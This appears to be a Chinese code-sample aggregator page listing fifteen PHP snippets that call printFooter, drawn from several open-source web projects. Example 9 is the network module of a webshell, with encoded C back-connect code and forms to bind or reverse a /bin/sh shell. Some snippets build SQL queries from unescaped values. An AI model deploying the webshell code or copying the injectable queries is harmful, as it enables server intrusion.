当前位置: 首页>>代码示例>>PHP>>正文


PHP printFooter函数代码示例

本文整理汇总了PHP中printFooter函数的典型用法代码示例。如果您正苦于以下问题:PHP printFooter函数的具体用法?PHP printFooter怎么用?PHP printFooter使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了printFooter函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: download_cert

function download_cert($this_cert, $cer_ext)
{
    $config = $_SESSION['config'];
    if (!isset($cer_ext)) {
        $cer_ext = 'FALSE';
    }
    if ($this_cert == "zzTHISzzCAzz") {
        $my_x509_parse = openssl_x509_parse(file_get_contents($config['cacert']));
        $filename = $my_x509_parse['subject']['CN'] . ":" . $my_x509_parse['subject']['OU'] . ":" . $my_x509_parse['subject']['O'] . ":" . $my_x509_parse['subject']['L'] . ":" . $my_x509_parse['subject']['ST'] . ":" . $my_x509_parse['subject']['C'];
        $download_certfile = $config['cacert'];
        $ext = ".pem";
        //$application_type="application/x-x509-ca-cert";
        $application_type = 'application/octet-stream';
    } else {
        $filename = substr($this_cert, 0, strrpos($this_cert, '.'));
        $ext = substr($this_cert, strrpos($this_cert, '.'));
        $download_certfile = base64_encode($filename);
        $download_certfile = $config['cert_path'] . $download_certfile . $ext;
        $application_type = 'application/octet-stream';
    }
    if ($cer_ext != 'FALSE') {
        $ext = '.' . $cer_ext;
    }
    if (file_exists($download_certfile)) {
        $myCert = join("", file($download_certfile));
        download_header_code($filename . $ext, $myCert, $application_type);
    } else {
        printHeader("Certificate Retrieval");
        print "<h1> {$filename} - X509 CA certificate not found</h1>\n";
        printFooter();
    }
}
开发者ID:NamingException,项目名称:PHP-Certificate-Authority-Server,代码行数:32,代码来源:functions_cert.php

示例2: printLoginForm

    /**
     * Displays the login form
     *
     * @since 1.0
     * @package facileManager
     *
     * @return string
     */
    function printLoginForm()
    {
        global $fm_name;
        printHeader(_('Login'), 'login');
        /** Cannot change password without mail_enable defined */
        $mail_enable = getOption('fm_db_version') >= 18 ? getOption('mail_enable') : false;
        $auth_method = getOption('fm_db_version') >= 18 ? getOption('auth_method') : false;
        $forgot_link = $mail_enable && $auth_method == 1 ? sprintf('<p id="forgotton_link"><a href="?forgot_password">%s</a></p>', _('Forgot your password?')) : null;
        $branding_logo = $GLOBALS['RELPATH'] . 'fm-modules/' . $fm_name . '/images/fm.png';
        printf('<form id="loginform" action="%1$s" method="post">
		<div id="fm-branding">
			<img src="%2$s" /><span>%3$s</span>
		</div>
		<div id="login_form">
		<table>
			<tr>
				<td>
					<div class="input-wrapper">
						<input type="text" size="25" name="username" id="username" placeholder="%4$s" />
					</div>
				</td>
				<td>
					<div class="input-wrapper">
						<input type="password" size="25" name="password" id="password" placeholder="%5$s" />
					</div>
				</td>
				<td><input name="submit" id="loginbtn" type="submit" value="%3$s" class="button" /></td>
			</tr>
		</table>
		%6$s
		<div id="message"></div>
		</form>
		</div>', $_SERVER['REQUEST_URI'], $branding_logo, _('Login'), _('Username'), _('Password'), $forgot_link);
        exit(printFooter());
    }
开发者ID:Vringe,项目名称:facileManager,代码行数:43,代码来源:class_logins.php

示例3: checkLogin

function checkLogin($checkType)
{
    global $db;
    if (!isset($_SESSION['username'])) {
        require_once "login.php";
        // Not logged in. Kick to login page.
        die;
    } else {
        $check = $db->query("SELECT * FROM User WHERE userName='{$_SESSION['username']}' AND passwordHash='{$_SESSION['password']}'");
        $userInfo = $check->fetch_array();
        if ($check->num_rows == 0) {
            // Invalid username or password. Kick to login page.
            require_once "login.php";
            die;
        } elseif (!$userInfo['student'] && $checkType == "student" || !$userInfo['instructor'] && $checkType == "instructor" || !$userInfo['administrator'] && $checkType == "administrator") {
            // Incorrect permissions. Return an error.
            printHeader("Access Denied");
            echo "<p>You do not have permission to view this page.</p>";
            printFooter(true);
            die;
        } else {
            // Everything is ok. Return the user data.
            return $userInfo;
        }
    }
}
开发者ID:rjho,项目名称:grades,代码行数:26,代码来源:header.php

示例4: or

 |                                                                         |
 | This program is free software; you can redistribute it and/or           |
 | modify it under the terms of the GNU General Public License             |
 | as published by the Free Software Foundation; either version 2          |
 | of the License, or (at your option) any later version.                  |
 |                                                                         |
 | This program is distributed in the hope that it will be useful,         |
 | but WITHOUT ANY WARRANTY; without even the implied warranty of          |
 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the           |
 | GNU General Public License for more details.                            |
 +-------------------------------------------------------------------------+
 | facileManager: Easy System Administration                               |
 +-------------------------------------------------------------------------+
 | http://www.facilemanager.com/                                           |
 +-------------------------------------------------------------------------+
*/
/**
 * Displays 404 Error
 *
 * @author		Jon LaBass
 * @version		$Id:$
 * @copyright	2013
 *
 */
printHeader(_('File Not Found'), 'install');
printf('<div id="message"><p class="failed">' . _('File Not Found') . '</p></div>
<p>' . _('The file you tried (%s) is not found at this location. The URL or link may be outdated or incorrect.') . '</p>
<p>' . _('If you typed the URL in the address bar, please make sure the spelling is correct.') . '</p>
<p id="forgotton_link"><a href="javascript:history.back();">' . _('&larr; Back') . '</a></p>', $_SERVER['REQUEST_URI']);
exit(printFooter());
开发者ID:pclemot,项目名称:facileManager,代码行数:30,代码来源:404.php

示例5: printHeader

require 'vendor/autoload.php';
$client = new Everyman\Neo4j\Client('localhost', 7474);
printHeader();
printSearchForm($uid);
echo "<b>User: {$uid} - All Artist Listened by my friends</b><br><br>";
$queryString = "MATCH (u:user {id:{$uid}})-[:ADD_FRIEND_TO]-(:user)-[listen: WEIGHT]-(a:artist)\r\nWHERE NOT (u)-[:WEIGHT]-(a)\r\nWITH a, count(u) as count\r\nRETURN a\r\nORDER BY count desc LIMIT 5";
$query = new Everyman\Neo4j\Cypher\Query($client, $queryString);
$result = $query->getResultSet();
foreach ($result as $row) {
    $artist = $client->getNode($row['x']->getId());
    $artistId = $artist->getProperty('id');
    $artistName = $artist->getProperty('name');
    echo "Artist Name: " . $artistName . "</br>";
    printArtistInfo($artistId);
    ?>
	<form action="listen.php" method="post">
	<input type="hidden" name="action" value="addlisten">
	<input type="hidden" name="userId" value="<?php 
    echo $uid;
    ?>
">
	<input type="hidden" name="artistId" value="<?php 
    echo $artistId;
    ?>
">
	<input type="submit" value="Listen">
	</form>
	<?php 
}
printFooter();
开发者ID:houchitao,项目名称:Music-Database-assignment,代码行数:30,代码来源:recomendationsfriends.php

示例6: while

    echo "Class Id: " . $class['classId'] . "<br>";
    echo "Semester: " . $class['semester'] . " " . $class['year'] . "<br>";
    echo "Capacity: " . $class['maxEnrollment'] . "<br>";
    echo "<h2>Prerequisites</h2>\n\t<ul>";
    if ($prereqs->num_rows == 0) {
        echo "<li>None</li>";
    }
    while ($required = $prereqs->fetch_array(MYSQLI_ASSOC)) {
        echo "<li>" . $required['requiredClassNum'] . " - " . $required['className'] . "</li>";
    }
    echo "</ul>";
} else {
    // List all instructors
    $classList = $db->query("SELECT Class.classId, className, classNum, sectionNum, semester, year, open, finished, Instructor.name, Instructor.userId FROM Class\n\tLEFT JOIN Teaches ON Class.classId=Teaches.classId\n\tLEFT JOIN Instructor ON Teaches.userId=Instructor.userId\n\tORDER BY Class.classId");
    echo "<table><tr><th>ID#</th><th>Name</th><th>Class Number</th><th>Section</th><th>Semester</th><th>Open?</th><th>Finished?</th><th>Instructor</th><th>More info</th></tr>";
    while ($class = $classList->fetch_array(MYSQLI_ASSOC)) {
        echo "<tr><td>" . $class['classId'] . "</td><td>" . $class['className'] . "</td><td>" . $class['classNum'] . "</td><td>" . $class['sectionNum'] . "</td>";
        echo "<td>" . $class['semester'] . " " . $class['year'] . "</td>";
        echo "<td>" . yesOrNo($class['open']) . "</td>" . "<td>" . yesOrNo($class['finished']) . "</td>";
        if (empty($class['name'])) {
            echo "<td>None. <a href='admin_teaches.php?classId=" . $class['classId'] . "'>(Add)</a></td>";
        } else {
            echo "<td>" . $class['name'] . " <a href='admin_teaches.php?classId=" . $class['classId'] . "&amp;userId=" . $class['userId'] . "'>(Remove)</a></td>";
        }
        echo "<td><a href='admin_classes.php?classId=" . $class['classId'] . "'>More info</a></td>";
        echo "</tr>";
    }
    echo "</table>";
}
printFooter("admin");
开发者ID:rjho,项目名称:grades,代码行数:30,代码来源:admin_classes.php

示例7: printHomeLink

			<!-- Crumb Trail Navigation -->
			<div id="wrapnav">
				<div id="navbar">
					<?php 
printHomeLink('', ' | ');
printGalleryIndexURL(' | ', getGalleryTitle());
echo gettext('A password is required for the page you requested');
?>
				</div>
			</div>

		</div>

		<!-- Wrap Main Body -->
		<div id="content">
			<small>&nbsp;</small>
			<div id="main">
				<?php 
printPasswordForm('', true, false);
?>
			</div>
		</div>

		<?php 
printFooter(false);
zp_apply_filter('theme_body_close');
?>

	</body>
</html>
开发者ID:rb26,项目名称:zenphoto,代码行数:30,代码来源:password.php

示例8: printLoginFailure

function printLoginFailure($str = "")
{
    printHeader();
    if (strlen($str) > 0) {
        print "\n" . $str;
    } else {
        print "\nHOBA Login Failed: Session expired or something else broke.";
    }
    printFooter();
}
开发者ID:smutt,项目名称:HOBA-server,代码行数:10,代码来源:printers.php

示例9: actionNetwork

function actionNetwork()
{
    printHeader();
    $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qg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SkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    ?>
	<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
	<span>Bind port to /bin/sh</span><br/>
	Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>">
	</form>
	<form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
	<span>Back-connect to</span><br/>
	Server: <input type='text' name='server' value='<?php 
    echo $_SERVER['REMOTE_ADDR'];
    ?>
'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>">
	</form><br>
	<?php 
    if (isset($_POST['p1'])) {
        function cf($f, $t)
        {
            $w = @fopen($f, "w") or @function_exists('file_put_contents');
            if ($w) {
                @fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t));
                @fclose($w);
            }
        }
        if ($_POST['p1'] == 'bpc') {
            cf("/tmp/bp.c", $bind_port_c);
            $out = ex("gcc -o /tmp/bp /tmp/bp.c");
            @unlink("/tmp/bp.c");
            $out .= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
            echo "<pre class=ml1>{$out}\n" . ex("ps aux | grep bp") . "</pre>";
        }
        if ($_POST['p1'] == 'bpp') {
            cf("/tmp/bp.pl", $bind_port_p);
            $out = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
            echo "<pre class=ml1>{$out}\n" . ex("ps aux | grep bp.pl") . "</pre>";
        }
        if ($_POST['p1'] == 'bcc') {
            cf("/tmp/bc.c", $back_connect_c);
            $out = ex("gcc -o /tmp/bc /tmp/bc.c");
            @unlink("/tmp/bc.c");
            $out .= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
            echo "<pre class=ml1>{$out}\n" . ex("ps aux | grep bc") . "</pre>";
        }
        if ($_POST['p1'] == 'bcp') {
            cf("/tmp/bc.pl", $back_connect_p);
            $out = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
            echo "<pre class=ml1>{$out}\n" . ex("ps aux | grep bc.pl") . "</pre>";
        }
    }
    echo '</div>';
    printFooter();
}
开发者ID:retanoj,项目名称:webshellSample,代码行数:58,代码来源:c239c63806f184e0759b3f0dcdd103e1.php

示例10: printFooter

            }
        }
    }
    echo "</ul>";
}
echo "<h2>Total: " . $total . "</h2>";
?>
	
						
						</p>

						<?php 
$cookie_name = "item_count";
if ($_COOKIE[$cookie_name] != NULL) {
    echo "\n\t\t\t\t\t\t\t\t<form action = '' method = 'post' data-ajax = 'false' id='confirm-order-form'>\n\n\t\t\t\t\t\t\t\t\t<input type = 'submit' name = 'removeAll' value = 'Empty Cart' style = 'width: 215px; margin-left: 20px;' data-inline='true'>\n\n\t\t                    \t</form>\n\t\t                    \t";
}
?>

					</center>

				</article>

				<?php 
include "resources/php/footer.php";
printFooter(2);
?>
			</div>
		</div>
<!-- CHECKOUT PAGE end -->
	</body>
</html>
开发者ID:britchie345,项目名称:DatabaseProjectFiles,代码行数:31,代码来源:checkout.php

示例11: checkLogin

<?php

require_once "header.php";
$userInfo = checkLogin("student");
printHeader("Student Panel");
printStudentInfo();
echo "<p>Welcome to the student panel!</p>";
echo "<a href='student_password.php'>Change password</a><br />";
echo "<a href='student_enroll.php'>Enroll in Classes</a><br />";
echo "<a href='student_drop.php'>Drop Classes</a>";
echo "<h2>My Classes</h2>";
echo "<table><tr><th>Class</th><th>Class Name</th><th>Semester</th><th>Grade</th></tr>";
$classList = $db->query("SELECT * FROM Takes NATURAL JOIN Class WHERE userId=(SELECT userId FROM User WHERE userName='" . $_SESSION['username'] . "')");
while ($class = $classList->fetch_array(MYSQLI_ASSOC)) {
    echo "<tr><td><a href='student_grades.php?class=" . $class['classId'] . "'>" . $class['classNum'] . "</a></td><td>" . $class['className'] . "</td><td>" . $class['semester'] . " " . $class['year'] . "</td><td>" . $class['grade'] . "</td></tr>";
}
echo "</table>";
printFooter("student");
开发者ID:rjho,项目名称:grades,代码行数:18,代码来源:student.php

示例12: printCategories

    <div id="right-bar" class="right rounded"> 
        <div id="search-link"><h2>Search</h2></div>
        <h2>Categories :</h2>
        <?php 
printCategories();
?>
        <h2>Archives :</h2>
        <ul>
        <?php 
printArchiveBar();
?>
    </div>
    
    <div id="search-box" class="search-box rounded"> 
        <h2>Search: COMING SOON!</h2>
        <form>
            <input class="rounded" type="search" placeholder="search horrieinternational.com" />
        </form>
    </div>
        
    <div style="clear: both;"> </div>
            
    <div id="footer" class="footer rounded">
        <?php 
printFooter($siteRootPath);
?>
    </div>
</div>

</body>
</html>
开发者ID:spencerbartz,项目名称:horrie_international,代码行数:31,代码来源:archive_view.php

示例13: listCurrentPath

function listCurrentPath()
{
    //  Verzeichniseintrag holen
    $path = new Path();
    if (!$path->selectByName($_SESSION["path"])) {
        fehlerausgabe("Verzeichnis existiert nicht!");
        return false;
    }
    // ACL für das Verzeichnis holen
    //$user = $_SESSION["user"];
    $acl = $_SESSION["user"]->getACLByPath($path->pathname);
    if ($acl->read_path != "1") {
        fehlerausgabe("Zugriff auf {$path->pathname} verweigert");
        return false;
    }
    printHeader($path);
    // Verzeichnisse listen
    $pathlist = new PathList();
    $pathlist->selectByParentId($path->path_id);
    for ($i = 0; $i < count($pathlist->list); $i++) {
        $acl = @$_SESSION["user"]->getACLByPath($pathlist->list[$i]->pathname);
        if ($acl->read_path) {
            printDirectoryEntry($pathlist->list[$i], false);
        }
    }
    $filelist = new FileList();
    $filelist->selectByPathId($path->path_id);
    for ($i = 0; $i < count($filelist->list); $i++) {
        printDirectoryEntry($filelist->list[$i], true);
    }
    printFooter();
}
开发者ID:BackupTheBerlios,项目名称:sage,代码行数:32,代码来源:browser.php

示例14: printNewsReadMoreLink

	    <p><?php 
            printNewsReadMoreLink();
            ?>
</p>
	    
	    </div>	
	<?php 
        }
        printNewsPageListWithNav(gettext('next &raquo;'), gettext('&laquo; prev'));
    }
}
?>
 

			</div><!-- content left-->
			<div id="sidebar">
			<?php 
include "sidebar.php";
?>
			</div><!-- sidebar -->
			<br style="clear:both" />
		</div> <!-- main2 -->
		
	</div> <!-- content -->

<?php 
printFooter('news');
?>

</body>
</html>
开发者ID:ItsHaden,项目名称:epicLanBootstrap,代码行数:31,代码来源:news.php

示例15: XMLHttpRequest

                var xhttp = new XMLHttpRequest();
                xhttp.onreadystatechange = function()
                {
                    if (xhttp.readyState == 4 && xhttp.status == 200)
                        document.getElementById("stats").innerHTML = xhttp.responseText;
                };
                xhttp.open("GET", url, true);
                xhttp.send();
            }
        </script>
    </head>    
    <body onload="printStats('stats.php')">
        <div id="pannel_player">
            <header>
                <h2>Comparaison des joueurs</h2>
                <a href="/">Retour</a>
                <br>
                <br>
            </header>
            <section id='stats'>
                Chargement <img src="images/loader.gif">
            </section>
            <?php 
include "footer.inc";
printFooter("Fournisseur d'avatars", "Crafatar", "https://crafatar.com");
?>
        </div>
        <br>
    </body>
</html>
开发者ID:Olybri,项目名称:Minecrew,代码行数:30,代码来源:players.php


注:本文中的printFooter函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。